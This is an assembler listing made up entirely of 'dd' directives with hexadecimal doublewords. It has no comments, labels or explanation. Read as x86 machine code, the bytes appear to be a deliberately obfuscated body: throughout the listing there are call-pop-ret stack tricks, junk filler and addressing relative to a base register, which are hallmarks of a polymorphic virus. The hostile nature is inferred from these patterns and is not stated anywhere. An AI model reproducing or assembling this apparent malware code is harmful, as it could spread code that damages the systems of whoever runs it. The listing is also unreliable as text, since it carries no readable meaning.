		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0DC35747h, 72BFB30h
		dd 898B8D25h, 0E7165195h, 8BFF6A05h, 0E70645BDh, 1DB5FF05h
		dd 0F05E728h, 68Dh, 0A99D8B00h,	0FF05E716h, 0E729C195h
		dd 0EAE905h, 0B00000h, 8B0Fh, 70E60000h, 0F71E4F9h, 384h
		dd 0D8B70F00h, 830F613Ch, 0CCh,	449BD8Bh, 0BF6605E7h, 0B60FE9E3h
		dd 0A5BD8BC8h, 0BA05E721h, 6, 0E81BD8Bh, 0C18B05E7h, 0C1DEB70Fh
		dd 0BD8B04E8h, 5E705F9h, 66E2F766h, 0C82BDA8Bh,	5A99D8Bh
		dd 0D18B05E7h, 0E992EB80h, 6, 21CDBD33h, 858B05E7h, 5E72235h
		dd 0BB97BB66h, 0F507C083h, 0E599D89h, 0C08305E7h, 68C0F00h
		dd 81000000h, 6542ABDBh, 0FD03B07h, 1C83h, 0A4EBB00h, 8B663098h
		dd 4AE9F8h, 0F600000h, 688h, 0F99D8B00h, 0F905E715h, 0E58D8B61h
		dd 8905E71Ah, 0E70B6985h, 1E18305h, 26840Fh, 0BD8B0000h
		dd 5E71C51h, 60D9D8Bh, 0A58305E7h, 5E71AE5h, 89D88AFEh
		dd 0E7223595h, 0D9BD8B05h, 0E905E706h, 0
		dd 0E9F3B58Dh, 6A05EAh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 11C35343h, 0F58619Bh,	928E9F4h, 0E715E585h
		dd 0D5CF8105h, 0FF101F31h, 0E71A1D95h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 800F3D10h, 15h, 10E9h, 8C750700h, 0DB027B37h, 8DE341C0h
		dd 0C2D86569h, 8A3B9FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0CD587FC3h, 0F7816699h
		dd 0E183FBAEh, 51006AFCh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 3F14CC0Bh, 319E20Eh, 0E70A999Dh
		dd 0FADB305h, 88Eh, 8D896000h, 5E72F89h, 6AFC61h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 93EDC6C3h, 0DAA152BEh, 661BD4A5h, 0E821E781h, 0C02BFD8Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B8C35040h
		dd 6AD22B3Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E9E0C357h, 0Bh, 295F51CEh, 9E5CC9EFh
		dd 0AD94A8F9h, 0E8D1C233h, 0E983D003h, 89F47504h, 0E70BF595h
		dd 6AB3B305h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 80CFC355h, 880D64E7h, 66000000h
		dd 8B5A4EBFh, 0E70DBDBDh, 15958B05h, 0E805E723h, 13h, 6BE5E399h
		dd 0FE77466h, 8B746AADh, 60251023h, 6636E314h, 8B5FDE8Bh
		dd 0E708B98Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0DBBF0FBDh, 83E38166h
		dd 0D19D8B45h, 5005E720h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 959D8B58h, 6A05E703h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0BE4CC355h
		dd 39203155h, 4BF7FC0h,	666FF2BEh, 0BD83DA8Bh, 5E7211Dh
		dd 87840F00h, 89000000h, 0E7330DB5h, 0B805h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 7DF387C3h, 89C54E93h, 0E70761B5h, 0BD8B5605h, 5E719F9h
		dd 0FA8D8D5Bh, 6A05E74Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 5CEFC352h, 891DAAC4h
		dd 0E7212995h, 0FE1FF05h, 1981h, 13860F00h, 0E8000000h
		dd 0Dh,	0EC7BC9B4h, 375C3058h, 0A186EDCBh, 0BD835B46h
		dd 5E70C99h, 0F6840F00h, 0E9000003h, 14h, 53F698D1h, 7C4C45E0h
		dd 77032C06h, 0B8519181h, 7A099FC2h, 0C99BD83h,	0F0105E7h
		dd 3EB84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 66551C16h, 8B66F88Bh, 99BD83FEh
		dd 305E70Ch, 384860Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0DA82D2C3h, 0F8F3D338h
		dd 50006A60h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 6A4F86E3h, 33A2E91Eh, 5FF957E3h,	66D98C66h
		dd 0E180F88Bh, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0FEF0D7E9h, 38716508h
		dd 0FC90AF5h, 0FB84h, 0D8BF0F00h, 72D858Bh, 6A05E7h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 5C8487C3h, 5BBD10CBh, 85334524h, 5E72E81h, 0FAB70F60h
		dd 61D68B66h, 4D71BF90h, 66502317h, 9097EDBBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EC35141h, 85891ADFh
		dd 5E71721h, 6A89B7h, 51DB509h,	0E6805E7h, 817AEF32h, 31F12434h
		dd 6A7AF0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0F4F370C3h, 9E9C9EDh, 0AC000000h,	49B13DC8h
		dd 0F2B45B6Dh, 20E595FFh, 6A05E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 5FA191C3h, 0F85FF539h
		dd 0A3508589h, 9D8B05EAh, 5E72B45h, 68F0Fh, 9D8B0000h
		dd 5E71731h, 1AEE9h, 43F38000h,	0DADCBF66h, 0A348858Bh
		dd 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0C73CC3h,	18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 3FC35646h, 0B997D716h, 0BC5C72Eh
		dd 54D8D29h, 13E805E7h,	0B7000000h, 850C151Ah, 84B30759h
		dd 0F38A16F8h, 231D4676h, 9D8BA8C2h, 5E70C01h, 0FB8B665Bh
		dd 0A34CB58Bh, 860F05EAh, 6, 2F99D29h, 858B05E7h, 5E70081h
		dd 761BD8Bh, 68905E7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 86C35747h, 6F8938D0h,	8BF5E978h, 0E7072D85h
		dd 55852905h, 8905E727h, 0B5890446h, 5E70861h, 0FDF5BF50h
		dd 34891CDDh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0E5B6DB48h, 0FFF96BC0h, 0EAA348B5h
		dd 559D8B05h, 6805E723h, 0A776AC18h, 0E7240481h, 8B58A857h
		dd 50858DF9h, 2905EAA3h, 0E7008D95h, 859D8B05h,	9005E715h
		dd 0EE8h, 0D90D200h, 98E5FE17h,	0A6DDA9AAh, 508D73EDh
		dd 0F5BB6652h, 0BF310F87h, 282FF246h, 505F585Ah, 0B107BB66h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 2A6C97B4h, 0BA3CD946h, 9E86Eh, 0C31C0000h
		dd 3629E42Dh, 297D74C4h, 0E705E9B5h, 81665F05h,	0FFDC5AC7h
		dd 0E720E595h, 619D2905h, 0E805E72Dh, 8, 1E2C1391h, 0F4D1F33Bh
		dd 615F07B7h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	44C35343h, 13E9h, 0BDB64300h, 60767591h, 123F88BFh
		dd 5A61CD90h, 0C0CC6B6h, 0C9985C7h, 305E7h, 0BD010000h
		dd 5E713E1h, 0A350BD83h, 0F0005EAh, 1184h, 8B0F00h, 0E9000000h
		dd 21h,	2A5D8D89h, 305005E7h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 198D89C0h, 8B05E71Bh, 99BD83DAh
		dd 305E70Ch, 3AC850Fh, 0BF660000h, 0BD833D93h, 5EAA350h
		dd 9B840F00h, 0F000003h, 0B5FFDEB7h, 5EAA350h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 93C35040h, 0F927B4CEh
		dd 0A9FD0FB7h, 0F9B70FEEh, 2D6995FFh, 6A05E7h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0D86AB9C3h, 534C2201h, 0EE916h, 0FE890000h, 0CD317867h
		dd 8C5C7778h, 0CE23C96Ch, 0A344B58Bh, 6C705EAh,	10001h
		dd 2455BD8Bh, 895005E7h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0F3E4BFC3h, 9C5F1EA8h
		dd 8B5050F9h, 0FF5B5BDAh, 0EAA350B5h, 311DB305h, 0E7019D8Dh
		dd 7D95FF05h, 6A05E724h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0EB78C350h,	2CB32FD9h
		dd 68A0Fh, 0BD290000h, 5E7257Dh, 0A344B58Bh, 8E0F05EAh
		dd 6, 0C29BD8Bh, 858B05E7h, 5E703CDh, 8D4BBB66h, 0C48689h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 9E862C3h,	7F000000h, 0F0EAE857h, 53385A2Bh
		dd 2341BD8Bh, 8B5B05E7h, 0E7231595h, 0C283F905h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 35E90BA1h, 1D61C655h, 0B5899724h, 5E70F1Dh, 6A205089h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0EEACC350h, 8C46B76Ah, 8BD88A5Eh,	0E709419Dh
		dd 32858D05h, 2B05EAB7h, 0E70F01BDh, 0E1B58905h, 8905E720h
		dd 0B886h, 6A006A00h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0ACD6C356h, 0D1A18BC2h, 89F0EF1Ah
		dd 0E70BB5BDh, 41B58905h, 0FF05E722h, 0EAA350B5h, 8B666005h
		dd 61FA8BC7h, 4195FFh, 8B6605E7h, 0F98B50DEh, 66243489h
		dd 0FF546ABFh, 0EAA350B5h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 28B3EB1Ah
		dd 53CEF88Ch, 0AE8h, 1E72600h, 557A8A57h, 66CE8E95h, 5B02D0BBh
		dd 0FFDFBF0Fh, 0E72A0995h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0FD111786h
		dd 0A43F4A8Bh, 0F9BD83F8h, 5E704h, 25840Fh, 95890000h
		dd 5E7151Dh, 1C119D8Bh,	509605E7h, 96DF8B66h, 78B0Fh, 0BF560000h
		dd 4D66277Bh, 0C9BD015Bh, 0FF05E730h, 0EAA350B5h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0CE9B1h, 0DF200000h,	6AC1AFCh, 833F7FDCh, 0DA8BB089h
		dd 71D95FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0B5399FC3h, 0BD3660F7h, 595BD8Bh
		dd 0B5FF05E7h, 5EAA350h, 1CE5BD2Bh, 95FF05E7h, 5E70CC5h
		dd 25CDBD83h, 0F0205E7h, 6284h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 51858B2Bh
		dd 6A05E706h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0C621C356h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 7244AEC3h
		dd 0C7435BD2h, 0E70DFD85h, 5, 0F7816600h, 32E91FDDh, 0E8FFFFF4h
		dd 0Eh,	0BD924586h, 7BED3E55h, 91F47700h, 0E781C76Eh, 55760664h
		dd 6AC18B5Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 9EC9C351h, 1AF9858Dh, 8B6605E7h
		dd 5B5650DFh, 89240489h, 0E7211195h, 6A006A05h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 10A3C350h, 41DD92A5h, 6E93116h, 40000000h, 0A7ADBA15h
		dd 10E949h, 0A0DD0000h,	52A9E947h, 0A05B7932h, 79DF8355h
		dd 6AF40Eh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 19h,	80C35141h, 5B5961AAh, 3C88BFC0h, 858D7184h, 5EB8454h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 19C35242h
		dd 5C083B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0A0C35040h, 0DFCE2C63h,	3046F3DAh, 899D89BAh, 0FC05E72Dh
		dd 4D63BF50h, 4890670h,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0DD06DF2Ah, 6AFA8B66h
		dd 55C78000h, 0FFF8006Ah, 0E702C595h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 66644E70h, 3A0F7EBFh, 95148D8Dh, 9D8905EAh, 5E7014Dh
		dd 2D1698BFh, 0E8D1FF77h, 7, 0A3F7BEDEh, 314A8C12h, 0E71B9D95h
		dd 0BD835B05h, 5E707F1h, 0AE850F01h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8099C356h, 26A52F3h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0BAC35646h, 4B1A752Dh, 906310F1h, 0FF33BB66h
		dd 0CE950h, 0DF9B0000h,	64FD0041h, 6D2CD84Fh, 6A909FE0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0A172C351h, 349469FAh, 8BDBB70Fh,	0E70339BDh
		dd 4195FF05h, 6A05E700h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 894CC352h, 0E7314585h
		dd 0DEAE905h, 0E80000h,	5D000000h, 845EED81h, 0BB6605EBh
		dd 6A9CFCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 902B56C3h, 48D0B60Ch, 858DA02Eh, 5EA8F5Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BC35747h
		dd 0A51A6700h, 2BFD614h, 90155A76h, 12E85250h, 0DB000000h
		dd 43C82265h, 280B7AC8h, 0FB2EA594h, 36FD0AB9h,	5F5F5070h
		dd 6060310Fh, 8E961h, 5C950000h, 78CE5AAh, 5A61D0CCh, 0EE85058h
		dd 37000000h, 8A4AAC1Eh, 8C6AAFFh, 6B1D7E5Dh, 9E8FEh, 0E6BC0000h
		dd 0AB6F6F5h, 5B519E44h, 6A905Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0C2DDEDC3h, 3DAA6492h
		dd 35FF64h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 669CC352h, 0E409C1E7h
		dd 64C44795h, 2589h, 6E80000h, 24000000h, 0E6B70A9Bh, 0FE9CEh
		dd 0B78F0000h, 0D5D91D5h, 32AF7B82h, 0B7F7E2F4h, 85FF5B4Dh
		dd 5E71CE1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	3AC35545h, 0B589A6ACh, 5E70CEDh, 0BC1BD89h, 0FF6A05E7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 82C35646h
		dd 7DDCCC53h, 0FF4D4B96h, 0E72B19B5h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 3EA3C3AAh, 319D8B13h, 0FF05E728h, 0E729C195h, 14CE905h
		dd 85090000h, 5E7051Dh,	5859D8Bh, 0B005E7h, 94EDB81h, 70E65167h
		dd 0C1B3BF66h, 0D98B71E4h, 830F613Ch, 126h, 13E9h, 2E251E00h
		dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 0E8C8B60Fh
		dd 0Ah,	9A5C2534h, 60BDBF3Bh, 5FFC5A7Ch, 6BAh, 8B515700h
		dd 0E7314DBDh, 8B5F5F05h, 0E19D8BC1h, 0C105E702h, 0B58904E8h
		dd 5E715E5h, 0B3E2F766h, 0FC82B2Bh, 184h, 9509F500h, 5E700C5h
		dd 9D33D18Bh, 5E708E5h,	12E9h, 0DE900h,	15360000h, 0C546EE50h
		dd 5151E804h, 8BFFDDF8h, 0E700BD85h, 11E905h, 16FA0000h
		dd 7A28C1A4h, 39D00D6Bh, 81CBFB10h, 0E92FD59Dh,	11h, 0E7562602h
		dd 0D24C13B1h, 7D62B365h, 544826CCh, 7C08322h, 2D2D9529h
		dd 0C08305E7h, 0D03BF800h, 24830Fh, 81660000h, 0E966EEDBh
		dd 10h,	0F1483958h, 87037CF7h, 0FFE8327Bh, 43D59978h, 41E9h
		dd 6A10BF00h, 8D8B4547h, 5E726B5h, 1ABD9D8Bh, 852905E7h
		dd 5E72091h, 0F01E183h,	2184h, 0BAD38000h, 26B5A583h, 0FFE05E7h
		dd 80h
		dd 0BD958900h, 8905E700h, 0E7055DB5h, 0E905h, 0B58D0000h
		dd 5EAF4C8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0ACC35242h, 0FE9ADh, 0FB330000h, 7E7C64CCh, 0D5C7BE2Eh
		dd 0A560DCE1h, 0BB006A22h, 776FC1B1h, 1A1D95FFh, 858905E7h
		dd 5E7128Dh, 8E8h, 0C4523300h, 0A04096D0h, 0F5BD8B80h
		dd 5B05E731h, 83FB9h, 85BB6600h, 0FCE183DFh, 0FCD98B66h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 51C35141h
		dd 941F4E0Dh, 9E98F52h,	54000000h, 4D144A5Eh, 0C998CAECh
		dd 38D0Fh, 0EF800000h, 0D9BF0F60h, 0B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 14CF82Ah, 2BE82B4Eh,	0D4DF81D2h, 0F3ECAACh, 1B86h, 0FE800h
		dd 7F20000h, 0F4DB5642h, 6C724615h, 56365B37h, 699D8937h
		dd 5B05E715h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2AC35141h, 3F98405Eh
		dd 0A92A0E2h, 0C73FDF81h, 0B5297D56h, 5E72E5Dh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8EC35242h, 1D858922h
		dd 0D05E705h, 88h, 1F89BD2Bh, 11E805E7h, 0CC000000h, 0C17817E7h
		dd 0DF3750B4h, 3029C6CDh, 0D0391007h, 15958B5Fh, 105E723h
		dd 0E70779BDh, 0B98D8B05h, 8B05E708h, 0E70D19BDh, 0C28B5005h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh, 19B59523h
		dd 8D8B05E7h, 5E72569h,	1B810F61h, 0E8000000h, 12h, 0D918ACB4h
		dd 45A44A8Eh, 0DB7FD818h, 2617A52Fh, 0B70F8891h, 0BD835FD8h
		dd 5E7211Dh, 28840F00h,	80000000h, 0B837E3h, 0E9000000h
		dd 0Ch,	0E0D4CC4Bh, 0CA9805FCh,	9E2703DCh, 4DFA8D8Dh, 0B58905E7h
		dd 5E72241h, 83F9E1FFh,	0E70C99BDh, 840F0005h, 3D3h, 9D89F88Bh
		dd 5E72C69h, 0C99BD83h,	0F0105E7h, 3D984h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 3270DD7Bh, 3D9D8B5Fh, 8305E722h, 0E70C99BDh,	860F0305h
		dd 370h, 41DF8166h, 6A6085h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0B49A47C3h, 47CB0113h
		dd 0A1EF806Ah, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 4F4DC351h, 504BDB2Bh
		dd 0C4BC784h, 0E18002B7h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0F8092D86h
		dd 0B347CAA5h, 11958950h, 5B05E72Eh, 5BEF87BBh,	0FC90A59h
		dd 0F284h, 0EF816600h, 858B274Fh, 5E7072Dh, 0FAC38053h
		dd 8185335Fh, 0E805E72Eh, 7, 242600C4h,	0F16FF66h, 682h
		dd 0AD9D8B00h, 5F05E700h, 0D2BB5090h, 90320EA0h, 6AD9BF0Fh
		dd 0DBBF0F00h, 91DBA568h, 0F5250D7h, 289h, 0F5F5600h, 9E831h
		dd 94430000h, 0CDAFDC96h, 0B3595516h, 585A5F1Fh, 5A240481h
		dd 0F288D28h, 1081h, 0BE900h, 85C90000h, 9A5C2534h, 60BDBF3Bh
		dd 0E595FF7Ch, 6A05E720h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 32BCC353h, 66FB7333h
		dd 8589F98Bh, 5EAA350h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0ADC35141h, 8E8DDF9h,	21000000h, 660983BFh
		dd 8B5F940Ah, 0E72C019Dh, 7FE95B05h, 29000001h,	0E723C185h
		dd 95BD8B05h, 8B05E704h, 0EAA34885h, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0C08A452Eh
		dd 0CC1331E6h, 0DE8BFB8Bh, 1800C7h, 0B5890000h,	5E72825h
		dd 0A34CB58Bh, 0F4B705EAh, 81858Bh, 0BD8B05E7h,	5E72D9Dh
		dd 0E8F50689h, 7, 139864F8h, 9CBEA65h, 0E7162DB5h, 858B5B05h
		dd 5E7072Dh, 2D5D9529h,	468905E7h, 91853104h, 9605E70Eh
		dd 965052B7h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	75C35040h, 3A870CAFh, 16810Fh, 11E90000h, 89000000h
		dd 0A24753ABh, 20F540B1h, 89A76D1Dh, 0B1621FACh, 0A348B5FFh
		dd 860F05EAh, 6, 0F0DBD8Bh, 4E805E7h, 0FF000000h, 0E8001F03h
		dd 6, 24B435EEh, 8B668D4Ch, 0BF505BFEh,	31388C78h, 424448Bh
		dd 10E860h, 0E4500000h,	0E0EB5122h, 0CEFB25ADh,	2B42DAACh
		dd 5E51EA4Ch, 8B615Eh, 0B466EEBFh, 24448936h, 58F98B04h
		dd 858DD98Bh, 5EAA350h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 33C35343h, 0D7CA1510h, 0E07A47DBh, 999D8B22h
		dd 5005E722h, 8E86060h,	0DC000000h, 0AB1468CAh,	5FEA5FBCh
		dd 8269B866h, 92BE6661h, 489617Bh, 0DBBF0F24h, 20E595FFh
		dd 0BB6605E7h, 6A6125F3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FCDC357h, 68Dh, 999D8900h
		dd 0C705E716h, 0E70C9985h, 305h, 148A0F00h, 0E8000000h
		dd 0Ch,	26C7F997h, 3506001h, 48E3A63Bh,	835F6160h, 0EAA350BDh
		dd 840F0005h, 20h, 0EE960h, 1C2C0000h, 0CB9C6B8Bh, 0B54477D0h
		dd 5376A614h, 21E961h, 0B5310000h, 5E7039Dh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 8D89FBB7h
		dd 5E70179h, 16699D03h,	0BD8305E7h, 5E70C99h, 58850F03h
		dd 0F000004h, 38Dh, 0FBBF0F00h,	0A350BD83h, 0F0005EAh
		dd 44284h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 3233E3FFh, 0CFBB7630h, 0F6AE8A9h
		dd 68Fh, 8FEB8100h, 0FF5CB0AAh,	0EAA350B5h, 0DDBD8B05h
		dd 0FF05E70Ch, 0E72D6995h, 0DBB70F05h, 8BFA8B66h, 0EAA344B5h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0AFB8943Dh, 4432489h, 15558589h,	6C705E7h
		dd 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0C1C35747h, 0EA65C71h, 29B4282Bh, 0E7096595h, 0BF669605h
		dd 0E9505AB8h, 6, 5D3A03C1h, 51966168h,	5FDBBF0Fh, 0A350B5FFh
		dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FFFA52C3h, 0E7247D95h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 18874A03h, 0BF6629AAh, 0B58BDF0Dh, 5EAA344h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 1CC35141h, 92DA1C8Dh
		dd 0D71FBF66h, 3CD858Bh, 868905E7h, 0C4h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 70C35646h, 33ED6672h
		dd 423A8694h, 61BD8B4Bh, 8105E722h, 0F25D1AF3h,	15958B3Bh
		dd 8B05E723h, 0E726E5BDh, 4C28305h, 2F9DBD8Bh, 12E805E7h
		dd 8B000000h, 0A603CDCAh, 0E1F68BBh, 8DB3BE82h
		dd 26A3AB39h, 13E995h, 0BED60000h, 84C446BFh, 6060F13Bh
		dd 1E63CAF9h, 87889760h, 50895BA6h, 56006A20h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD8B8B4Ah
		dd 5E72F11h, 0B732858Dh, 0BD8B05EAh, 5E71619h, 0B88689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0EEA232C3h, 6A870840h, 0DE900h, 53FB0000h
		dd 0CBF1F417h, 4830A457h, 0FF92D50Eh, 0EAA350B5h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0E94A85DFh, 5E1CBB66h, 4195FFh, 6A05E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0F58A48C3h
		dd 0BD8BEEE2h, 5E72251h, 8E8h, 5E9E7B00h, 0DC03236Ch, 5FF9574Ah
		dd 5E95Bh, 0C38E0000h, 50C9DE27h, 5A576053h, 34895F61h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 6C45C03Fh, 7E9B0h, 0A09C0000h, 8E9DF08Ch
		dd 50B5FF46h, 6A05EAA3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0B968C352h,	6C55BBE9h
		dd 0C72824E0h, 2BC9BD0Bh, 95FF05E7h, 5E72A09h, 14E9h, 2A011000h
		dd 0FDC48519h, 0FC05A880h, 3AD4DEF8h, 10D3E718h, 0F9BD8375h
		dd 5E704h, 23840Fh, 0FE90000h, 0
		dd 0BEFAC4ACh, 52B4FB7Bh, 405C8B6Fh, 0BD29ECB6h, 5E7274Dh
		dd 24348950h, 0DAB70F57h, 50B5FF5Fh, 2905EAA3h,	0E7316995h
		dd 1D95FF05h, 3105E707h, 0E70BF58Dh, 0E66EBB05h, 0B5FF548Fh
		dd 5EAA350h, 22D19D8Bh,	840F05E7h, 6, 137DB589h, 95FF05E7h
		dd 5E70CC5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	4C35747h, 0E8F3A478h, 0CDBD8376h, 205E725h, 66840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 64C7D7C3h, 0BD09D389h, 5E726F1h, 5FB7D381h
		dd 858B0EB1h, 5E70651h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 45C35747h, 3D99D8Bh, 810F05E7h, 3, 0C6D9B70Fh
